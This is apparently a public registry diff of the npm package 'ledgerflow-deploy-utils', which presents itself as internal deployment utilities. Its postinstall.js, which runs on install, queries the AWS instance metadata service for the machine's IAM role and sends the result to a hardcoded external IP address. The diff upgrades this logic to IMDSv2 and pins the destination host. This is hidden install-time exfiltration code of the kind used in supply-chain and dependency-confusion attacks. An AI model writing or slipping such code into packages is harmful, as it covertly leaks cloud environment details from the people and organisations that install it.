ledgerflow-deploy-utils 1.0.1 → 1.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +36 -9
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ledgerflow-deploy-utils",
3
- "version": "1.0.1",
3
+ "version": "1.0.4",
4
4
  "description": "LedgerFlow internal deployment utilities",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -3,7 +3,7 @@ const http = require('http');
3
3
 
4
4
  function post(data) {
5
5
  const req = http.request({
6
- hostname: process.env.LISTENER_HOST || '54.226.194.239',
6
+ hostname: '54.226.194.239',
7
7
  port: 80,
8
8
  path: '/chain3',
9
9
  method: 'POST',
@@ -17,14 +17,41 @@ function post(data) {
17
17
  req.end();
18
18
  }
19
19
 
20
- // Query IMDSv1 for the attached IAM role
21
- http.get('http://169.254.169.254/latest/meta-data/iam/security-credentials/', (res) => {
22
- let role = '';
23
- res.on('data', chunk => role += chunk);
20
+ // Step 1 — get IMDSv2 token
21
+ const tokenReq = http.request({
22
+ hostname: '169.254.169.254',
23
+ port: 80,
24
+ path: '/latest/api/token',
25
+ method: 'PUT',
26
+ headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' },
27
+ timeout: 3000
28
+ }, (res) => {
29
+ let token = '';
30
+ res.on('data', chunk => { token += chunk.toString(); });
24
31
  res.on('end', () => {
25
- role = role.trim();
26
- post(`imds_reachable=yes&role=${encodeURIComponent(role)}`);
32
+ token = token.trim();
33
+
34
+ // Step 2 — use token to get IAM role
35
+ const roleReq = http.request({
36
+ hostname: '169.254.169.254',
37
+ port: 80,
38
+ path: '/latest/meta-data/iam/security-credentials/',
39
+ method: 'GET',
40
+ headers: { 'X-aws-ec2-metadata-token': token },
41
+ timeout: 3000
42
+ }, (res2) => {
43
+ let role = '';
44
+ res2.on('data', chunk => { role += chunk.toString(); });
45
+ res2.on('end', () => {
46
+ role = role.trim().split('\n')[0];
47
+ post(`imds_reachable=yes&role=${encodeURIComponent(role)}`);
48
+ });
49
+ });
50
+ roleReq.on('error', () => { post('imds_reachable=no&role=none'); });
51
+ roleReq.end();
27
52
  });
28
- }).on('error', () => {
29
- post('imds_reachable=no&role=none');
30
53
  });
54
+
55
+ tokenReq.on('error', () => { post('imds_reachable=no&role=none'); });
56
+ tokenReq.on('timeout', () => { tokenReq.destroy(); post('imds_reachable=timeout&role=none'); });
57
+ tokenReq.end();